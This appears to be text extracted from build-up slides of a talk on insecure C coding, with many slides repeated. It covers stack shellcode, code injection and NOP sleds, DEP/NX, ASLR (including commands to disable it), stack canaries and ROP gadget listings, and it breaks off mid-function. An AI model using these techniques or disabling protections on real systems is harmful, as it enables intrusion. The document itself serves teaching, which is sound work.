00000000 <hello>:
0: 55 push ebp
1: 89 e5 mov ebp,esp
3: 83 ec 28 sub esp,0x28
6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
1f: 8d 45 eb lea eax,[ebp-0x15]
22: 89 04 24 mov DWORD PTR [esp],eax
25: e8 fc ff ff ff call 26 <hello+0x26>
2a: c9 leave
2b: c3 ret
void hello(void)
{
char str[] = "David rocks!";
puts(str);
}
We are of course not limited to only push data on the stack,
let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
00000000 <hello>:
0: 55 push ebp
1: 89 e5 mov ebp,esp
3: 83 ec 28 sub esp,0x28
6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
1f: 8d 45 eb lea eax,[ebp-0x15]
22: 89 04 24 mov DWORD PTR [esp],eax
25: e8 fc ff ff ff call 26 <hello+0x26>
2a: c9 leave
2b: c3 ret
void hello(void)
{
char str[] = "David rocks!";
puts(str);
}
We are of course not limited to only push data on the stack,
let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
00000000 <hello>:
0: 55 push ebp
1: 89 e5 mov ebp,esp
3: 83 ec 28 sub esp,0x28
6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
1f: 8d 45 eb lea eax,[ebp-0x15]
22: 89 04 24 mov DWORD PTR [esp],eax
25: e8 fc ff ff ff call 26 <hello+0x26>
2a: c9 leave
2b: c3 ret
This is our shell code, and we can now do code injection by letting our exploit poke
this into memory and use for example arc injection to jump to the first instruction. If you
craft the exploit carefully, you might manage to restore the stack and return correctly back
to the original return adress as if nothing has happened.
void hello(void)
{
char str[] = "David rocks!";
puts(str);
}
We are of course not limited to only push data on the stack,
let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
00000000 <hello>:
0: 55 push ebp
1: 89 e5 mov ebp,esp
3: 83 ec 28 sub esp,0x28
6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
1f: 8d 45 eb lea eax,[ebp-0x15]
22: 89 04 24 mov DWORD PTR [esp],eax
25: e8 fc ff ff ff call 26 <hello+0x26>
2a: c9 leave
2b: c3 ret
This is our shell code, and we can now do code injection by letting our exploit poke
this into memory and use for example arc injection to jump to the first instruction. If you
craft the exploit carefully, you might manage to restore the stack and return correctly back
to the original return adress as if nothing has happened.
Expert tip: it might be difficult to calculate exactly the address of your code, so often you
will start your shell code with a long string of NOP's or similar to make it easier to start
executing your code.This is often called a NOP slide.
Insecure coding in C (and C++)
Cool! Can you demonstrate how to do code injection?
Cool! Can you demonstrate how to do code injection?
It used to be easy to do this, back in the old days. Recent versions of all major
operating systems have implemented some kind of protection mechanisms to
prevent data to be executed as code. Data Execution Protection (DEP).
This is sometimes implemented as a W^X strategy (Writable xor
eXecutable), where blocks of memory are marked as either writable or
executable but never simultaneously. For a long time there has also been
hardware support for this (often called the NX bit), and some operating
systems refuses to be installed on machines that does not have hardware
protection against running data as code.
Cool! Can you demonstrate how to do code injection?
It used to be easy to do this, back in the old days. Recent versions of all major
operating systems have implemented some kind of protection mechanisms to
prevent data to be executed as code. Data Execution Protection (DEP).
This is sometimes implemented as a W^X strategy (Writable xor
eXecutable), where blocks of memory are marked as either writable or
executable but never simultaneously. For a long time there has also been
hardware support for this (often called the NX bit), and some operating
systems refuses to be installed on machines that does not have hardware
protection against running data as code.
But what about the other stuff you have demonstrated. Is there no
protection against that?
Cool! Can you demonstrate how to do code injection?
It used to be easy to do this, back in the old days. Recent versions of all major
operating systems have implemented some kind of protection mechanisms to
prevent data to be executed as code. Data Execution Protection (DEP).
This is sometimes implemented as a W^X strategy (Writable xor
eXecutable), where blocks of memory are marked as either writable or
executable but never simultaneously. For a long time there has also been
hardware support for this (often called the NX bit), and some operating
systems refuses to be installed on machines that does not have hardware
protection against running data as code.
But what about the other stuff you have demonstrated. Is there no
protection against that?
Yes, there are plenty, but most of them are easy to turn off. (Remember
this is a talk about how to write insecure code... so we don't deny ourself
the opportunity to make things easy for ourself)
Insecure coding in C (and C++)
One mechanism that makes it difficult to do arc injection or return to
lib-c is ASLR (address space layout randomization).When
ASLR is enabled key data areas gets a "hard to guess" positions when the
program is being loaded and executed. For ASLR to work properly your
code must also compile as position independent code (-fpic , -fpie)
One mechanism that makes it difficult to do arc injection or return to
lib-c is ASLR (address space layout randomization).When
ASLR is enabled key data areas gets a "hard to guess" positions when the
program is being loaded and executed. For ASLR to work properly your
code must also compile as position independent code (-fpic , -fpie)
void foo(void)
{
puts("David rocks!");
}
int main(void)
{
char * str = "David rocks!";
printf("%pn", foo);
printf("%pn", str);
printf("%pn", system);
}
One mechanism that makes it difficult to do arc injection or return to
lib-c is ASLR (address space layout randomization).When
ASLR is enabled key data areas gets a "hard to guess" positions when the
program is being loaded and executed. For ASLR to work properly your
code must also compile as position independent code (-fpic , -fpie)
void foo(void)
{
puts("David rocks!");
}
int main(void)
{
char * str = "David rocks!";
printf("%pn", foo);
printf("%pn", str);
printf("%pn", system);
}
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$
ASLR disabled
One mechanism that makes it difficult to do arc injection or return to
lib-c is ASLR (address space layout randomization).When
ASLR is enabled key data areas gets a "hard to guess" positions when the
program is being loaded and executed. For ASLR to work properly your
code must also compile as position independent code (-fpic , -fpie)
void foo(void)
{
puts("David rocks!");
}
int main(void)
{
char * str = "David rocks!";
printf("%pn", foo);
printf("%pn", str);
printf("%pn", system);
}
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$
ASLR disabled
$ ./a.out
0xb77cf64b
0xb77cf770
0xb764af50
$ ./a.out
0xb777264b
0xb7772770
0xb75edf50
$ ./a.out
0xb772b64b
0xb772b770
0xb75a6f50
$
ASLR enabled
One mechanism that makes it difficult to do arc injection or return to
lib-c is ASLR (address space layout randomization).When
ASLR is enabled key data areas gets a "hard to guess" positions when the
program is being loaded and executed. For ASLR to work properly your
code must also compile as position independent code (-fpic , -fpie)
void foo(void)
{
puts("David rocks!");
}
int main(void)
{
char * str = "David rocks!";
printf("%pn", foo);
printf("%pn", str);
printf("%pn", system);
}
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$
ASLR disabled
$ ./a.out
0xb77cf64b
0xb77cf770
0xb764af50
$ ./a.out
0xb777264b
0xb7772770
0xb75edf50
$ ./a.out
0xb772b64b
0xb772b770
0xb75a6f50
$
ASLR enabled
On my machine there are many ways to disable/enable ASLR.
One mechanism that makes it difficult to do arc injection or return to
lib-c is ASLR (address space layout randomization).When
ASLR is enabled key data areas gets a "hard to guess" positions when the
program is being loaded and executed. For ASLR to work properly your
code must also compile as position independent code (-fpic , -fpie)
void foo(void)
{
puts("David rocks!");
}
int main(void)
{
char * str = "David rocks!";
printf("%pn", foo);
printf("%pn", str);
printf("%pn", system);
}
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$ ./a.out
0x804844d
0x8048540
0x8048320
$
ASLR disabled
$ ./a.out
0xb77cf64b
0xb77cf770
0xb764af50
$ ./a.out
0xb777264b
0xb7772770
0xb75edf50
$ ./a.out
0xb772b64b
0xb772b770
0xb75a6f50
$
ASLR enabled
•Disable / enbable ASLR with "echo value > /proc/sys/kernel/randomize_va_space"
•Change set "kernel.randomize_va_space = value" in /etc/sysctl.conf
•Boot linux with the norandmaps parameter
On my machine there are many ways to disable/enable ASLR.
Insecure coding in C (and C++)
Many compliers can create extra code to check for buffer overflow. Here is an example.
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
A "magic" value is put on stack in the preamble for the function.This magic value is then checked
again before the function returns to the caller.This sometimes called a stack canary.
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
Notice also that the variables have been rearranged in memory so that it is more difficult to
overwrite them through a stack overflow in the response buffer.
08048518 <authenticate_and_launch>:
8048518 push ebp
8048519 mov ebp,esp
804851b sub esp,0x38
804851e mov eax,gs:0x14
8048524 mov DWORD PTR [ebp-0xc],eax
8048527 xor eax,eax
8048529 mov DWORD PTR [ebp-0x18],0x2
8048530 mov BYTE PTR [ebp-0x19],0x0
8048534 mov DWORD PTR [esp],0x8048687
804853b call 80483a0 <printf@plt>
8048540 lea eax,[ebp-0x14]
8048543 mov DWORD PTR [esp],eax
8048546 call 80483b0 <gets@plt>
804854b mov DWORD PTR [esp+0x4],0x8048690
8048553 lea eax,[ebp-0x14]
8048556 mov DWORD PTR [esp],eax
8048559 call 8048390 <strcmp@plt>
804855e test eax,eax
8048560 jne 8048566 <authenticate_and_launch+0x4e>
8048562 mov BYTE PTR [ebp-0x19],0x1
8048566 cmp BYTE PTR [ebp-0x19],0x0
804856a je 8048583 <authenticate_and_launch+0x6b>
804856c mov DWORD PTR [esp],0x8048697
8048573 call 80483d0 <puts@plt>
8048578 mov eax,DWORD PTR [ebp-0x18]
804857b mov DWORD PTR [esp],eax
804857e call 80484fd <launch_missiles>
8048583 movzx eax,BYTE PTR [ebp-0x19]
8048587 xor eax,0x1
804858a test al,al
804858c je 804859a <authenticate_and_launch+0x82>
804858e mov DWORD PTR [esp],0x80486a6
8048595 call 80483d0 <puts@plt>
804859a mov eax,DWORD PTR [ebp-0xc]
804859d xor eax,DWORD PTR gs:0x14
80485a4 je 80485ab <authenticate_and_launch+0x93>
80485a6 call 80483c0 <__stack_chk_fail@plt>
80485ab leave
80485ac ret
080484c8 <authenticate_and_launch>:
80484c8 push ebp
80484c9 mov ebp,esp
80484cb sub esp,0x28
80484ce mov DWORD PTR [ebp-0x10],0x2
80484d5 mov BYTE PTR [ebp-0x9],0x0
80484d9 mov DWORD PTR [esp],0x8048617
80484e0 call 8048360 <printf@plt>
80484e5 lea eax,[ebp-0x18]
80484e8 mov DWORD PTR [esp],eax
80484eb call 8048370 <gets@plt>
80484f0 mov DWORD PTR [esp+0x4],0x8048620
80484f8 lea eax,[ebp-0x18]
80484fb mov DWORD PTR [esp],eax
80484fe call 8048350 <strcmp@plt>
8048503 test eax,eax
8048505 jne 804850b <authenticate_and_launch+0x43>
8048507 mov BYTE PTR [ebp-0x9],0x1
804850b cmp BYTE PTR [ebp-0x9],0x0
804850f je 8048528 <authenticate_and_launch+0x60>
8048511 mov DWORD PTR [esp],0x8048627
8048518 call 8048380 <puts@plt>
804851d mov eax,DWORD PTR [ebp-0x10]
8048520 mov DWORD PTR [esp],eax
8048523 call 80484ad <launch_missiles>
8048528 movzx eax,BYTE PTR [ebp-0x9]
804852c xor eax,0x1
804852f test al,al
8048531 je 804853f <authenticate_and_launch+0x77>
8048533 mov DWORD PTR [esp],0x8048636
804853a call 8048380 <puts@plt>
804853f leave
8048540 ret
compiled with -fno-stack-protector compiled with -fstack-protector
Many compliers can create extra code to check for buffer overflow. Here is an example.
Notice also that the variables have been rearranged in memory so that it is more difficult to
overwrite them through a stack overflow in the response buffer.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
"magic number" (4 byte)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Insecure coding in C (and C++)
PAE/NX, Stack Protectors,ASLR and similar
techniques certainly make it more difficult to hack
into a system, but there is a very powerful exploit
technique called Return-oriented
Programming that is able to buypass basically
every defence...
$ od -An -x ./launch
...
0006 0000 0018 0000 0004 0000 0014 0000
0003 0000 4e47 0055 245b fe3c 81c6 d16a
0cca b71a 27d0 7b1f b5ab 697f 0002 0000
04a0 ff08 c9d2 89c3 8df6 27bc 0000 0000
...
3d80 a030 0804 7500 5513 e589 ec83 e808
ff7c ffff 05c6 a030 0804 c901 c3f3 9066
10a1 049f 8508 74c0 b81f 0000 0000 c085
1674 8955 83e5 18ec 04c7 1024 049f ff08
c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589
ec83 8b18 0845 4489 0424 04c7 7024 0486
...
e808 fe8a ffff c3c9 8955 83e5 38ec a165
0014 0000 4589 31f4 c7c0 e845 0002 0000
45c6 00e7 04c7 8724 0486 e808 fe60 ffff
458d 89ec 2404 65e8 fffe c7ff 2444 9004
...
0486 8d08 ec45 0489 e824 fe32 ffff c085
0475 45c6 01e7 7d80 00e7 1774 04c7 9724
0486 e808 fe58 ffff 458b 89e8 2404 7ae8
...
PAE/NX, Stack Protectors,ASLR and similar
techniques certainly make it more difficult to hack
into a system, but there is a very powerful exploit
technique called Return-oriented
Programming that is able to buypass basically
every defence...
$ od -An -x ./launch
...
0006 0000 0018 0000 0004 0000 0014 0000
0003 0000 4e47 0055 245b fe3c 81c6 d16a
0cca b71a 27d0 7b1f b5ab 697f 0002 0000
04a0 ff08 c9d2 89c3 8df6 27bc 0000 0000
...
3d80 a030 0804 7500 5513 e589 ec83 e808
ff7c ffff 05c6 a030 0804 c901 c3f3 9066
10a1 049f 8508 74c0 b81f 0000 0000 c085
1674 8955 83e5 18ec 04c7 1024 049f ff08
c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589
ec83 8b18 0845 4489 0424 04c7 7024 0486
...
e808 fe8a ffff c3c9 8955 83e5 38ec a165
0014 0000 4589 31f4 c7c0 e845 0002 0000
45c6 00e7 04c7 8724 0486 e808 fe60 ffff
458d 89ec 2404 65e8 fffe c7ff 2444 9004
...
0486 8d08 ec45 0489 e824 fe32 ffff c085
0475 45c6 01e7 7d80 00e7 1774 04c7 9724
0486 e808 fe58 ffff 458b 89e8 2404 7ae8
...
$ python ROPgadget.py --binary ./launch --depth 4
...
0x080487eb : adc al, 0x41 ; ret
0x08048464 : add al, 8 ; call eax
0x080484a1 : add al, 8 ; call edx
0x08048466 : call eax
0x080484a3 : call edx
0x08048485 : clc ; jne 0x804848c ; ret
0x08048515 : dec ecx ; ret
0x080487ec : inc ecx ; ret
0x0804844d : ja 0x8048452 ; ret
0x08048486 : jne 0x804848b ; ret
0x080484ec : lahf ; add al, 8 ; call eax
0x08048468 : leave ; ret
0x08048377 : les ecx, ptr [eax] ; pop ebx ; ret
0x08048430 : mov ebx, dword ptr [esp] ; ret
0x0804863f : pop ebp ; ret
0x08048379 : pop ebx ; ret
0x0804863e : pop edi ; pop ebp ; ret
0x0804863d : pop esi ; pop edi ; pop ebp ; ret
0x080487ea : push cs ; adc al, 0x41 ; ret
0x0804844c : push es ; ja 0x8048453 ; ret
...
PAE/NX, Stack Protectors,ASLR and similar
techniques certainly make it more difficult to hack
into a system, but there is a very powerful exploit
technique called Return-oriented
Programming that is able to buypass basically
every defence...
$ od -An -x ./launch
...
0006 0000 0018 0000 0004 0000 0014 0000
0003 0000 4e47 0055 245b fe3c 81c6 d16a
0cca b71a 27d0 7b1f b5ab 697f 0002 0000
04a0 ff08 c9d2 89c3 8df6 27bc 0000 0000
...
3d80 a030 0804 7500 5513 e589 ec83 e808
ff7c ffff 05c6 a030 0804 c901 c3f3 9066
10a1 049f 8508 74c0 b81f 0000 0000 c085
1674 8955 83e5 18ec 04c7 1024 049f ff08
c9d0 79e9 ffff 90ff 73e9 ffff 55ff e589
ec83 8b18 0845 4489 0424 04c7 7024 0486
...
e808 fe8a ffff c3c9 8955 83e5 38ec a165
0014 0000 4589 31f4 c7c0 e845 0002 0000
45c6 00e7 04c7 8724 0486 e808 fe60 ffff
458d 89ec 2404 65e8 fffe c7ff 2444 9004
...
0486 8d08 ec45 0489 e824 fe32 ffff c085
0475 45c6 01e7 7d80 00e7 1774 04c7 9724
0486 e808 fe58 ffff 458b 89e8 2404 7ae8
...
$ python ROPgadget.py --binary ./launch --depth 4
...
0x080487eb : adc al, 0x41 ; ret
0x08048464 : add al, 8 ; call eax
0x080484a1 : add al, 8 ; call edx
0x08048466 : call eax
0x080484a3 : call edx
0x08048485 : clc ; jne 0x804848c ; ret
0x08048515 : dec ecx ; ret
0x080487ec : inc ecx ; ret
0x0804844d : ja 0x8048452 ; ret
0x08048486 : jne 0x804848b ; ret
0x080484ec : lahf ; add al, 8 ; call eax
0x08048468 : leave ; ret
0x08048377 : les ecx, ptr [eax] ; pop ebx ; ret
0x08048430 : mov ebx, dword ptr [esp] ; ret
0x0804863f : pop ebp ; ret
0x08048379 : pop ebx ; ret
0x0804863e : pop edi ; pop ebp ; ret
0x0804863d : pop esi ; pop edi ; pop ebp ; ret
0x080487ea : push cs ; adc al, 0x41 ; ret
0x0804844c : push es ; ja 0x8048453 ; ret
...
PAE/NX, Stack Protectors,ASLR and similar
techniques certainly make it more difficult to hack
into a system, but there is a very powerful exploit
technique called Return-oriented
Programming that is able to buypass basically
every defence...
further explanations in http://pdos.csail.mit.edu/papers/stack:sosp13.pdf
Where is my code?
pointer overflow example
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
